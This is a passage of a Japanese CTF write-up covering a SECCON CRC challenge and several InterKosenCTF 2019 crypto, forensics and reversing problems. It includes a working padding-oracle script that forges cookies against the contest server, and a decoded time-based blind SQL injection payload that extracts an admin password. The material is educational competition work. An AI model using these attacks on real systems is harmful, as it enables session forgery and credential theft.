for i in range(int("1" * 10000)):
  crc = crc32(crc, "is")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "here")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "at")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "SECCON")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "CTF!")
key += crc.to_bytes(4, byteorder='big')

flag = os.environ['FLAG']
assert(len(flag) == 32)

aes = AES.new(key, AES.MODE_ECB)
encoded = aes.encrypt(flag)
assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')

ここで、crcを引き継いで使用していることがわかります。 crc のwikipediaを読んで頂くと、割り算のあまりを求めてるんだなぁという気持ちになると思います。

一つの文字の場合、例えばTの場合は 0x[ord('T')]000000 = 0x54000000 ([]の部分は置き換えてねという意味で使ってます)の余りを求める問題になります。

文字列の余りはどういうことかというと、例えば、TSGの場合は 0x[ord('T')]000000[ord('S')]000000[ord('G')]000000 の余りを求める問題になります。

crc を引き継いでいるので、二回ループを回ったときは TSGTSG、3回ループを回ったときには TSGTSGTSG のように、文字列そのものの長さが長くなっていくイメージです。

さて、愚直に計算すると 10^10000 の計算をしなければならなく、1秒あたりに10^10回計算できたとしても10^9990秒かかるので無理です。

色々考えると、以下の2つの手法を思いつきました。

状態遷移をグラフとみなして閉路検出する方法

crcの状態量は高々 0x100000000 = 2^32 個しかないので、1e10000 もループを回していいたら、必ずどこかで巡回するはず。状態遷移をグラフとみなして、閉路を検出したらあとは割り算して余りの個数分回せばいいので、テーブル作成で最大 2^32、余りの個数が最大で2^32-1回で合わせて 2^33-1 回の計算で間に合うはずです。 1e10000 よりだいぶ少なくなりましたね。

適当に実装したため、メモリ使用量がえぐぐて諦めました。 冷静に考えて vector<bool> の最適化を考えればそれを使うべきでした。

kusanoさんがこの解き方です

qiita.com

繰り返し二乗法を使った方法

もし、この割り算の余りを求める処理を行列で表すことができれば繰り返し2乗法を使って、log(1e10000) = 23025 回くらいで計算を終わらせることができるはずです。残念ながら、割り算の余りの処理を行列にすることは失敗したのですが、近いアプローチには成功しました。

zlibの実装には、crc32_combine というものがあります。 これはどういう関数なのかというと、 crc1 = crc32("ABC"), crc2 = crc32("DEFG") だとすると、 crc32_combine(crc1, crc2, len("DEFG")) を渡すと、結合して crc32("ABCDEFG") を求めてくれるという関数です。

ソースコードを読み解いていくと、実は crc2 は最後の最後にしか現れなくて、 crc1 をずらす処理にほんとどの行数がかけられています。

crc1 をずらしていくというのはどういうことかというと、 crc32("ABC") から crc32("ABC\0\0\0\0") を 求めて、DEFG が入る隙間を用意してあげる処理のことです。

隙間を作ったら、crcの世界では足し算はxorで表現するので、 crc32("ABC\0\0\0\0") ^ crc32("DEFG") = crc32("ABCDEFG") が求まるということですね。

zlibの実装では、ここを行列の繰り返し二乗法を使って求めているので、O(log(文字列の長さ)) の時間がかかることが読み取れます。

このcombineを使って、

crc1 = crc32("TSG") # crc1 => "TSG"
crc2 = crc_combine(crc1, crc1, 3) #  crc2 => "TSGTSG"
crc4 = crc_combine(crc2, crc2, 6) # crc4 => "TSGTSGTSGTSG"

このように倍々に増やしていき、２進数表記で組み合わせれば求まります。たとえば 6( = 0b110) ならば、

crc6 = crc_combine(crc4, crc2, 6)

7( = 0b111) ならば、さらに1を加えて、

crc7 = crc_combine(crc6, crc1, 3)

のようにすれば求まりますね。 ダブリングでもO(log(文字の長さ))なので、全体の計算量的にはcombineがlogであることを考慮して、、log(文字の長さ)^2 で、おおよそ10^10くらいです。 ちょっと多いですがまあどうにかなるでしょう。

ちなみに実装が終わったタイミングで残り90分でした。死ぬかと思いました。(6並列で計算を回してギリギリ間に合いました。)

zlibのソースコードを参考にしつつ、K&R時代のC言語をC++に直しつつ、lengthは uint64_t に入らないのでboostのBintに直しつつで、こんな感じのコードになりました。

// reference: https://github.com/madler/zlib/blob/master/crc32.c

#include <string>
#include <iostream>
#include <unordered_map>
#include <vector>
#include <boost/multiprecision/cpp_int.hpp>

using namespace std;
namespace mp = boost::multiprecision;
using Bint = mp::cpp_int;

constexpr int GF2_DIM = 32;

uint32_t gf2_matrix_times(const array<uint32_t, GF2_DIM>& mat, uint32_t vec)
{
    uint32_t sum;

    sum = 0;
    int i = 0;
    while (vec) {
        if (vec & 1)
            sum ^= mat[i];
        vec >>= 1;
        i++;
    }
    return sum;
}

void gf2_matrix_square(array<uint32_t, GF2_DIM>& square, const array<uint32_t, GF2_DIM>& mat)
{
    for (int n = 0; n < GF2_DIM; n++)
        square[n] = gf2_matrix_times(mat, mat[n]);
}

uint32_t crc32_combine(uint32_t crc1, uint32_t crc2, Bint len2){
    int n;
    unsigned long row;
    array<uint32_t, GF2_DIM> even;    /* even-power-of-two zeros operator */
    array<uint32_t, GF2_DIM> odd;   /* odd-power-of-two zeros operator */ 

    /* degenerate case (also disallow negative lengths) */
    if (len2 <= 0)
        return crc1;

    /* put operator for one zero bit in odd */
    odd[0] = 0xedb88320UL;          /* CRC-32 polynomial */
    row = 1;
    for (n = 1; n < GF2_DIM; n++) {
        odd[n] = row;
        row <<= 1;
    }

    /* put operator for two zero bits in even */
    gf2_matrix_square(even, odd);

    /* put operator for four zero bits in odd */
    gf2_matrix_square(odd, even);

    /* apply len2 zeros to crc1 (first square will put the operator for one
       zero byte, eight zero bits, in even) */
    do {
        /* apply zeros operator for this bit of len2 */
        gf2_matrix_square(even, odd);
        if (len2 & 1)
            crc1 = gf2_matrix_times(even, crc1);
        len2 >>= 1;

        /* if no more bits set, then done */
        if (len2 == 0)
            break;

        /* another iteration of the loop with odd and even swapped */
        gf2_matrix_square(odd, even);
        if (len2 & 1)
            crc1 = gf2_matrix_times(odd, crc1);
        len2 >>= 1;

        /* if no more bits set, then done */
    } while (len2 != 0);

    /* return combined crc */
    crc1 ^= crc2;
    return crc1;

}

uint32_t crc32(uint32_t crc, uint32_t data){
    crc = 0xFFFFFFFF ^ crc;
    crc = crc ^ data;
    for(unsigned int i=0;i<8;++i){
        crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1));
    }
    return 0xFFFFFFFF ^ crc;
}

uint32_t crc32_str(uint32_t crc, const string& data){
    for(char c: data){
        crc = crc32(crc, c);
    }
    return crc;
}

int main(int argc,char *argv[]){
    string S = argv[1];
    uint32_t crc = crc32_str(0, S);
    Bint length = S.length();
    string num = "";
    for(int i=0;i<10000;++i) num+="1";
    Bint n(num);
    uint32_t res = 0;
    while(n > 0){
        cerr << n << endl;
        if (n & 1) {
            res = crc32_combine(res, crc, length);
        }
        crc = crc32_combine(crc, crc, length);
        length <<= 1;
        n >>= 1;
    }
    cout << res << endl;
}

50分くらい実行したら、crcが求まるので、それをもとに key を求めて、AES_ECBのdecryptをするだけです。

import os
from Crypto.Cipher import AES
from binascii import unhexlify

key = b""

crc = 2962998607
assert(crc == 0xb09bc54f)
key += crc.to_bytes(4, byteorder='big')

crc = 3836056187
key += crc.to_bytes(4, byteorder='big')

crc = 2369777541
key += crc.to_bytes(4, byteorder='big')

crc = 3007692607
key += crc.to_bytes(4, byteorder='big')

crc = 1526093488
key += crc.to_bytes(4, byteorder='big')

crc = 3679021396
key += crc.to_bytes(4, byteorder='big')

# flag = os.environ['FLAG']
# assert(len(flag) == 32)

# encoded = aes.encrypt(flag)
# assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')
aes = AES.new(key, AES.MODE_ECB)
cipher = unhexlify(b"79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e")
print(aes.decrypt(cipher).decode())

InterKosenCTF 2019 Writeup

InterKosenCTF Writeup

interKosenCTFに参加しました！ チームR19として、また僕自身がこういう大会にでるのは2回目ですね。

今回もCrypto解くマンとして参加しましたが、1日目で全完できたので、2日目はreversingとWeb問を見ていました。

チームとしては9位を取ることができました。今後は他の人の負担を減らすためにrevとWebも伸ばしたいですね。

Kurukuru Shuffle

以下のソースコードが与えられて、暗号文も与えられます。

from secret import flag
from random import randrange


def is_prime(N):
    if N % 2 == 0:
        return False
    i = 3
    while i * i < N:
        if N % i == 0:
            return False
        i += 2
    return True


L = len(flag)
assert is_prime(L)

encrypted = list(flag)
k = randrange(1, L)
while True:
    a = randrange(0, L)
    b = randrange(0, L)

    if a != b:
        break

i = k
for _ in range(L):
    s = (i + a) % L
    t = (i + b) % L
    encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
    i = (i + k) % L

encrypted = "".join(encrypted)
print(encrypted)

ソースコードを読解すると、aとb、kが実行時に定数として決まり、

for _ in range(L):
    s = (i + a) % L
    t = (i + b) % L
    encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
    i = (i + k) % L

の部分でflagの文字をひたすら入れ替えています。 このflagの鍵は、 a と b と k の3つの値なのですが、これらの値は高々 L^3 = 148877 程度なので、現実的な時間で復号可能です。 というわけで、aとbとkの取りうる値を全探索して、以下のコードを書くと復号可能です。

flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"
L = len(flag)

for k in range(1, L):
    for a in range(L):
        for b in range(L):
            if a == b:
                continue
            encrypted = list(flag)
            i = k
            for _ in range(L):
                s = (i+a)%L
                t = (i+b)%L
                encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
                i = (i+k)%L
            encrypted = "".join(encrypted)
            print(encrypted)

E_S_P

easyだと問題文に出ている気がしたので、2問目にときました。 特にハマることなく解けたので、運が良かったです。(1日目午前中で解けました。)

暗号生成アルゴリズムとしては、普通のRSA暗号ですね。 強いて言うなれば e が小さいのでPlainなRSAだとLow Public Exponent Attackが刺さるかもしれませんが、今回は平文が十分に長いので大丈夫です。

以下のような生成アルゴリズムが与えられます。(kurenaifがデバッグするためにいろいろいじってます)

from Crypto.Util.number import *
### from secret import flag, yukko
import re

yukko = "Yukko the ESPer: My amazing ESP can help you to get the flag! -----> "
flag = "KosenCTF{" + "0"*29 + "}"

assert re.match(r"^KosenCTF{.+}$", flag)

Nbits = 1024
p = getPrime(Nbits)
q = getPrime(Nbits)
n = p * q
e = 5
m = bytes_to_long((yukko + flag).encode())
c = pow(m, e, n)


print("N = {}".format(n))
print("e = {}".format(e))
print("c = {}".format(c))
print("m = {}".format(hex(m)))

print(yukko + "the length of the flag = {}".format(len(flag)))
print(yukko+flag)

yukko = "Yukko the ESPer: My amazing ESP can help you to get the flag! -----> "
flag = "KosenCTF{" + "\x00"*29 + "}"
print(hex(bytes_to_long((yukko+flag).encode())))
flag = "KosenCTF{" + "0"*29 + "}"
print(hex(bytes_to_long((yukko+flag).encode())))

今回は平文の前半部分がわかっているので、Coppersmith's Attackが有効です。 ももいろテクノロジー様の記事が、ソースコード付きでわかりやすいですね！ しかしながら、知っていなければならない上位bitの個数が足りないため、復号ができません。 Yukko the ESPer: My amazing ESP can help you to get the flag! -----> KosenCTF{ までが既知文字列とすると、2,3byteくらい足りないので、その部分は全探索をします。

全探索を高速化する工夫点として、ASCIIの文字だけに絞って探索するようにしているため、ソースコードがやや複雑になっています。

from Crypto.Util.number import *
import os

### yukko = "Yukko the ESPer: My amazing ESP can help you to get the flag! -----> "
### flag = "KosenCTF{" + "0"*29 + "}"
### print(yukko + "the length of the flag = {}".format(len(flag)))
### print(bytes_to_long((yukko+flag).encode()))
### print(yukko+flag)

### 既知文字列を16進数表記にしたもの
base = "59756b6b6f207468652045535065723a204d7920616d617a696e67204553502063616e2068656c7020796f7520746f206765742074686520666c616721202d2d2d2d2d3e204b6f73656e4354467b"

def reverse(num):
    s = ""
    cnt = 0
    while num > 0:
        a = num % 95 + 32
        s += format(a, '02x')
        num = num // 95
        cnt += 1
    s += "0" * (60-cnt*2)
    return s, cnt

s = ""
i = 0
while True:
    s, byte = reverse(i)
    i += 1
    m = int(base + s, 16)

    N = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
    e = 5
    c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147

    beta = 1
    epsilon = beta^2/7

    nbits = N.nbits()
    kbits = (60*4 - byte*8)
    mbar = m & (2^nbits-2^kbits)
    print "upper %d bits (of %d bits) is given" % (nbits-kbits, nbits)

    PR.<x> = PolynomialRing(Zmod(N))
    f = (mbar + x)^e - c

    print hex(m)
    for x0 in f.small_roots(X=2^kbits, beta=1):
        print long_to_bytes(mbar + x0)
        exit()

flag_ticket

普通のPaddingエラーがあるCBCのブロック暗号なので、パディングオラクル攻撃を使って平文に戻したり、暗号文を改ざんすることが可能です。 Padding Oracle AttackによるCBC modeの暗号文解読と改ざん の知識がある前提の元でこの記事は執筆します。

暗号化する平文は以下のもような形式になります。 is_hit をTrueにして、サーバーに読み込ませたら勝ちです。

{"is_hit": False, "number": number}

ブロックの書き換えは、最後のブロックの変え方しか知らないので、最後のブロックにないis_hitを直接変更することは難しいです。 そこで、以下のように末尾に is_hit を付けて試しに手元のコードで読み込ませると、しっかり誤認してくれることがわかりました。

{"is_hit": False, "number": number,"is_hit":True}

文字を付け足してもブロックのサイズは変わらないようにnumberの文字数を調整して、以下のコードを使用すると、誤認させたい暗号文が生成できます。 あとはこれをcookieに流し込めば、OKです。

from Crypto.Cipher import AES
from Crypto.Util import Padding
from Crypto import Random
import json
from binascii import hexlify, unhexlify
import sys
from Crypto.Util.number import long_to_bytes, bytes_to_long
import copy
import requests

key =  b'\xa0\xda\xd8\xa3o\xd0\xed:g\x94\xd3\x8d\xe5\xb4\x13\xea'
def decoder(num):
    cipher = unhexlify(num)
    if len(cipher) < AES.block_size * 2:
        resp.text = "ERROR: cookie should be iv(16) + cipher(16*n)"
        exit(1)
    iv, cipher = cipher[: AES.block_size], cipher[AES.block_size :]
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = aes.decrypt(cipher)
    print(data)
    data = Padding.unpad(data, AES.block_size)
    data = json.loads(data.decode())
    ### aes = AES.new(key, AES.MODE_CBC, iv)
    ### data = Padding.unpad(aes.decrypt(cipher), AES.block_size).decode()
    ### data = json.loads(data)
    ### resp.html = api.template("result.html", flag=flag, data=data)
    return data


def encoder(num):
    key =  b'\xa0\xda\xd8\xa3o\xd0\xed:g\x94\xd3\x8d\xe5\xb4\x13\xea'
    iv = Random.get_random_bytes(16)
    data = json.dumps({"is_hit": False, "number": num}).encode()
    data = Padding.pad(data, AES.block_size)
    iv = Random.get_random_bytes(AES.block_size)
    aes = AES.new(key, AES.MODE_CBC, iv)

    res = hexlify(iv + aes.encrypt(data)).decode()
    return res

def block2String(blocks):
    s = ""
    for block in blocks:
        for num in block:
            s += format(num, "02x")
    return s

def request(s):
    cookies = dict(result=s)
    r = requests.get('http://crypto.kosenctf.com:8000/result', cookies=cookies)
    ### print(r.text)
    if r.text == "ERROR: invalid cookie":
        assert False
    if r.text == "ERROR: unicode decode error":
        return 1
    if r.text == "ERROR: json decode error":
        return 1
    if r.text == "ERROR: padding error":
        return 0
    return 2
    ### try:
    ###     res = decoder(s)
    ###     backNum = num
    ###     return 2
    ### except TypeError as e:
    ###     return 0
    ### except UnicodeDecodeError:
    ###     f = True
    ###     return 1
    ### except json.JSONDecodeError as e:
    ###     f = True
    ###     return 1
    ### except ValueError as e:
    ###     "none"
    ###     return 0

C = []
M = []
Corg = []

### cipher = "a0dad8a36fd0ed3a6794d38de5b413ea2777446a3587a32b74432bac38014d9d070bf1451634350c6d685babf3913493c62a1fe616fec8b996d073a27cc17a692c750e22cf67b750dd5424d652aad715" 
cipher = "f8999c402717a871f501786986eebe0a6646dc3abcc2aa2336006eb9f97d23d01026308559de73d87b1d3b1fafcf7e7802484d81845249b9f943588f36f7af623f7b91083d3d97556b589adca33afdf0" ### サーバーが生成した元の暗号文
### cipher = "a0dad8a36fd0ed3a6794d38de5b413ea2777446a3587a32b74432bac38014d9d5bdbdd8f0aa33fd9c4eacdb21fe4fec884ab8f50e317a5cfd969cb1206f8682b" // 誤認させたいやつ
### m = "7b2269735f686974223a2066616c73652c20226e756d626572223a203132337d10101010101010101010101010101010" 
mdash = "7b2269735f686974223a2066616c73652c20226e756d626572223a20223132333435363738393031323334353637222c2269735f686974223a747275657d0202"### 誤認させたいやつ

while len(cipher) > 0:
    nxt, cipher = cipher[: AES.block_size*2], cipher[AES.block_size*2 :]
    block = []
    for i in range(0, len(nxt), 2):
        block.append(int(nxt[i:i+2], 16))
    C.append(copy.copy(block))
    Corg.append(copy.copy(block))

Mdash = []
Mdash.append([])
while len(mdash) > 0:
    nxt, mdash = mdash[: AES.block_size*2], mdash[AES.block_size*2 :]
    block = []
    for i in range(0, len(nxt), 2):
        block.append(int(nxt[i:i+2], 16))
    Mdash.append(copy.copy(block))

block_size = len(C)-1
ans = [[0]*16 for i in range(block_size)]
ans_block = []
for block_num in range(block_size-1,-1,-1):
    for i in range(len(C)):
        C[i] = copy.copy(Corg[i])
    print("block_num:", block_num)
    Cdash = [0]*16
    ans_block = [0]*16
    for i in range(15, -1, -1):
        print("i:" , i)
        backNum = -1
        for num in range(256):
            C[block_num][i] = num
            f = request(block2String(C[:block_num+2]))
            if f == 2:
                backNum = num

            if f == 1:
                print("found!")
                print(num)
                Cdash[i] = num
                ### ans[block_num][i] = (16-i) ^ Cdash[i] ^ Corg[block_num][i]
                ### ans_block[i] = (16-i) ^ Cdash[i] ^ Corg[block_num][i]
                ans[block_num][i] = Cdash[i] ^ (16-i) ^ Mdash[block_num+1][i]
                ans_block[i] = Cdash[i] ^ (16-i) ^ Mdash[block_num+1][i]
                print(block2String([ans_block]))
                for j in range(i,16):
                    C[block_num][j] = Cdash[j] ^ (16-j) ^ (17-i)

                print("ans:", block2String(ans))
                break

        if not f and backNum != -1:
            num = backNum
            print("found!")
            print(num)
            Cdash[i] = num
            ### ans[block_num][i] = (16-i) ^ Cdash[i] ^ Corg[block_num][i]
            ### ans_block[i] = (16-i) ^ Cdash[i] ^ Corg[block_num][i]
            ans[block_num][i] = Cdash[i] ^ (16-i) ^ Mdash[block_num+1][i]
            ans_block[i] = Cdash[i] ^ (16-i) ^ Mdash[block_num+1][i]
            print(i)
            print(block2String([ans_block]))
            for j in range(i,16):
                C[block_num][j] = Cdash[j] ^ (16-j) ^ (17-i)

            print("ans:", block2String(ans))
        Corg[block_num] = ans_block

S = block2String(ans) + block2String([C[block_size]])
print(S + block2String([C[-1]]))

pascal homomorphicity

これはRSAに見えますが、 自作暗号ですね paillier暗号というらしいです 。RSAのeに当たる部分が平文です。 ここで、式を見ていきましょう。

(N+1)^x mod N^2

ここの x を flag にしたものが最初に与えられ、その後任意回数 x を好きに変えて暗号文を生成できます。 この時、実行を終了するまで N は共通です。

で暗号文を生成しています。 ここで、 (N+1)^x を展開して mod N² を取ると、N²以上の項はN²で割り切れるため、

x N + 1 mod N^2

になります！つまり、 x を1変えれば、暗号文は N 変わることになります。 これで容易に N が特定できますね。 Nを特定したら、暗号文をcとして、

(c - 1)/N

でフラグを復元できます。

コード書く必要がなかったので書いてないです。

hugotto

782086ピクセルの画像が与えられ、 r,g,b のうちどれかの最終bitに1bitずつにフラグの情報が順に埋め込まれています。フラグの情報は何ビットかわかりませんが、埋め込んでいる途中に終端まで行くとまだ最初のbitを埋め込み始めます。

まずは文字列の長さを求めます。文字列は KosenCTF{ から始まることは既知なので、最初のある程度のbit数は既知として扱うことができます。 イメージとしては

KosenCTF{?????????????????KosenCTF{?????????????????KosenCTF{?????????????????KosenCTF{?????????????????KosenCTF{?????????????????

のように繰り返しになっているはずなので、このKとKの間を引き算してやると文字列の長さが求まるはずです。 よって、すべてのbitを二重ループ的に操作して、この KosenCTF{ になりうる開始位置を調べます。

開始位置の調べ方としては、0であるはずなのに、 rgbの最終bitが rgb = (1,1,1) であったり、 1であるはずなのに rgb = (0,0,0) であったりするケースを弾いていって、残ったものがそうなります。

誤認識の可能性があるので、最も多いものをフラグ長として採用しました。 以下のようになったのでフラグのbitの長さは544ですね。

{544: 1272, 104: 1, 13: 2, 427: 1, 150: 1, 21: 2, 88: 6, 285: 1, 456: 5, 130: 1, 14: 1, 3: 3, 397: 2, 520: 4, 24: 9, 160: 5, 384: 3, 72: 13, 472: 12, 336: 2, 208: 3, 300: 2, 244: 1, 224: 5, 320: 4, 106: 1, 418: 3, 20: 1, 152: 3, 392: 4, 56: 3, 16: 4, 8: 8, 216: 5, 328: 4, 539: 1, 5: 5, 144: 9, 11: 4, 203: 1, 44: 1, 100: 4, 400: 5, 245: 2, 299: 2, 312: 3, 232: 3, 376: 4, 168: 4, 280: 2, 264: 3, 93: 1, 451: 1, 32: 1, 512: 1, 352: 8, 192: 10, 176: 2, 368: 1, 126: 2, 528: 1, 464: 2, 349: 1, 179: 3, 463: 1, 81: 1, 146: 1, 230: 2, 36: 2, 278: 1, 222: 1, 322: 1, 61: 1, 475: 1, 240: 2, 304: 2, 128: 3, 416: 2, 218: 2, 326: 2, 444: 2, 436: 1, 108: 2, 283: 2, 261: 2, 344: 2, 200: 1, 288: 6, 256: 7, 129: 1, 415: 1, 69: 1, 459: 1, 541: 1, 296: 7, 248: 7, 504: 3, 40: 5, 272: 2, 365: 2, 238: 1, 306: 1, 432: 3, 112: 4, 123: 1, 421: 1, 408: 2, 325: 1, 170: 1, 374: 1, 38: 1, 506: 1, 424: 1, 120: 2, 35: 1, 509: 1, 162: 1, 382: 1, 373: 1, 171: 1, 136: 2, 460: 1, 84: 1, 508: 1, 96: 1, 448: 1, 533: 1, 82: 1, 462: 1, 396: 2, 148: 2, 184: 2, 360: 2, 48: 1, 536: 1, 403: 1, 141: 1, 488: 1, 12: 2, 260: 1, 76: 2, 468: 2, 363: 1, 186: 1, 358: 1, 426: 1, 118: 1, 9: 1, 2: 2, 4: 3, 491: 1, 198: 1, 346: 1, 147: 1, 59: 1, 279: 1, 265: 1, 80: 1, 431: 1, 1: 1, 429: 1, 115: 1, 386: 1, 134: 1, 47: 1, 281: 1, 402: 1, 142: 1, 132: 1, 412: 1, 28: 1, 99: 1, 263: 1, 182: 1}

フラグの長さがわかったので、その分の配列を用意して、rgbの最終bitが (0,0,0) になっているものか (1,1,1) になっているもの見つけて、その値を代入していけばフラグを復元できます。

from PIL import Image
from datetime import datetime
import tarfile
import sys
from Crypto.Util.number import long_to_bytes

import random

random.seed(int(datetime.now().timestamp()))


img = Image.open("./steg_emiru.png")
new_img = Image.new("RGB", img.size)

w, h = img.size

### 既知文字列のbit配列
prefix = []
for c in "KosenCTF{":
    for i in range(8):
        prefix.append((ord(c) >> i) & 1)

print(prefix)

### 配列データへと変換
rgb = []
for x in range(w):
    for y in range(h):
        r, g, b = img.getpixel((x, y))
        flag = [False]*2
        r = (r & 0x01)
        g = (g & 0x01)
        b = (b & 0x01)
        ### 0,1のどちらが立っているか
        flag[r] = True
        flag[g] = True
        flag[b] = True
        rgb.append(flag)

### ピクセル数
print(len(rgb))

### 既知文字列が現れる可能性がある位置
startList = []
for start in range(len(rgb)-len(prefix)):
    f = True
    for i in range(len(prefix)):
        if not rgb[start+i][prefix[i]]:
            f = False
            break
    if f:
        startList.append(start)

### 文字列の開始位置と思われる位置を引き算して、文字列の長さを集計する。
cnt = {} ### {開始位置の差分: 出現回数}
for i in range(len(startList)-1):
    diff = startList[i+1] - startList[i]
    cnt[diff] = cnt.setdefault(diff, 0) + 1
print(cnt)

### 最も多い長さがフラグの長さと仮定する
ma = [-1, -1]
for k, v in cnt.items():
    if ma[1] < v:
        ma = [k, v]

n = ma[0] ### 文字列長さ

### (0,0,0) か (1,1,1) を見つけて、確定したものから代入していく。
res = [-1]*n
for i in range(len(rgb)):
    ### どっちか確定したbitはもうそれで確定
    if rgb[i][0] == True and rgb[i][1] == False:
        res[i%n] = 0
    if rgb[i][0] == False and rgb[i][1] == True:
        res[i%n] = 1

print(res)

### 文字列化
ans = ""
for start in range(0, len(res), 8):
    c = 0
    for i in range(8):
        c += (res[start+i] << i)
    ans += chr(c)
print(ans)

Temple of Time

pcap ファイルが与えられるので、wiresharkでみるとすごい量のリクエストが見えます。 wiresharkで見るときは、httpリクエストで絞るといいことが多いので、とりあえず絞って、ついてにcsv出力をしておきます。

"No.","Time","Source","Destination","Protocol","Length","Info"
"12","5.629457982","150.95.139.51","192.168.1.2","HTTP","92","POST /login.php HTTP/1.1  (application/x-www-form-urlencoded)"
"14","5.631738584","192.168.1.2","150.95.139.51","HTTP","540","HTTP/1.1 302 Found  (text/html)"
"22","5.650384252","150.95.139.51","192.168.1.2","HTTP","428","GET /index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D48%2CSLEEP%281%29%2C%27%27%29%29%29%23 HTTP/1.1 "
"24","5.652948109","192.168.1.2","150.95.139.51","HTTP","683","HTTP/1.1 200 OK  (text/html)"

どうやらSQLっぽいものがURLにひっついてますね。 デコードして内容を整理してみましょう

OR(
    SELECT(
        IF(
            ORD(
                SUBSTR(
                    (SELECT+password+FROM+Users+WHERE+username='admin'),
                    x,  ### note: 実際にはxではなく整数
                    1
                )
            )=y, ### note: 実際にはyではなく整数
            SLEEP(1),
            ''
        )
    )
)#

どうやら、パスワードの x 文字目が y であれば SLEEP(1) するみたいです。 なので、リクエストが帰ってくるのに時間がかかっていたら、パスワードのx文字目はyであることがわかりますね。

先程書き出したwiresharkのcsvから、適当にしきい値を決めて次のリクエストが帰ってくるまでの時間を取り、それが一定以上であれば絞り込むスクリプトを書きました。

import csv
import urllib.parse

f = open("./packet", "r")

reader = csv.reader(f)

next(reader) ### ['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length', 'Info']
contents = []
for row in reader:
    time_start = float(row[1])
    content = urllib.parse.unquote(row[-1])
    ### print(time_start, content)
    if "SELECT" in content:
        row = next(reader)
        time_end = float(row[1])
        diff = time_end - time_start
        if diff > 0.01: ### しきい値
            contents.append(content)

chars = []
for content in contents:
   chars.append((int(content.split(',')[1]), int(content.split('=')[3].split(',')[0])))

ma = 0
for char in chars:
    ma = max(char[0], ma)

res = [ord('?')]*ma
for char in chars:
    res[char[0]-1] = char[1]

print("".join(map(chr, res)))

passcode

うちのrev担当からwindowsで辛いという声を頂き、やることがなかったので参戦。

.NET系はdnSpyを使うと便利なので、使う。 Correct あたりで探索して、

        private void shuffle()
        {
            int num = 0;
            foreach (int num2 in this.state)
            {
                num = num * 10 + num2;
            }
            Random random = new Random(num);
            for (int i = 0; i < 9; i++)
            {
                int index = random.Next(9);
                int value = this.vars[i];
                this.vars[i] = this.vars[index];
                this.vars[index] = value;
            }
        }

        // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC
        private void push(int index)
        {
            this.indices.Add(index);
            this.state.Add(this.vars[index]);
            this.shuffle();
            if (Enumerable.SequenceEqual<int>(this.state, this.correct_state))
            {
                string text = "";
                for (int i = 0; i < this.indices.Count / 3; i++)
                {
                    text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
                }
                MessageBox.Show(text, "Correct!");
            }
        }

前回の入力をシード値に、ボタンを押されたときの数字をシャッフルしているらしい。 次に押す数字が、correct_state のものであればよい。 ボタンをポチポチ押す必要もなく、以下のソースコードで再現する。

using System;
using System.Collections.Generic;
using System.Linq;
<200b>
namespace ConsoleApp3
{
    internal class Program
    {
        private List<int> correct_state;
        private List<int> state;
        private List<int> vars;
        private List<int> indices;
<200b>
        private void shuffle()
        {
            int num = 0;
            foreach (int num2 in this.state)
            {
                num = num * 10 + num2;
            }
            Random random = new Random(num);
            for (int i = 0; i < 9; i++)
            {
                int index = random.Next(9);
                int value = this.vars[i];
                this.vars[i] = this.vars[index];
                this.vars[index] = value;
            }
        }
<200b>
        public void f()
        {
            this.vars = new List<int>
            {
                1,
                2,
                3,
                4,
                5,
                6,
                7,
                8,
                9
            };
            this.correct_state = Enumerable.ToList<int>(Enumerable.Select<char, int>("231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838", (char c) => (int)(c - '0')));
            this.indices = new List<int>();
            this.state = new List<int>();
<200b>
            for (int cnt = 0; cnt < this.correct_state.Count(); cnt++)
            {
                //次押すやつ
                int target = this.correct_state[cnt];
                // index: ボタン番号
                for (int index = 0; index < this.vars.Count(); index++)
                {
                    // ボタンを押す
                    if (this.vars[index] == target)
                    {
                        this.indices.Add(index);
                        this.state.Add(this.vars[index]);
                    }
                }
                this.shuffle();
                if (Enumerable.SequenceEqual<int>(this.state, this.correct_state))
                {
                    string text = "";
                    for (int i = 0; i < this.indices.Count / 3; i++)
                    {
                        text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
                    }
                    Console.WriteLine(text);
                }
            }
        }
<200b>
        private static void Main(string[] args)
        {
            Program p = new Program();
            p.f();
        }
    }
}

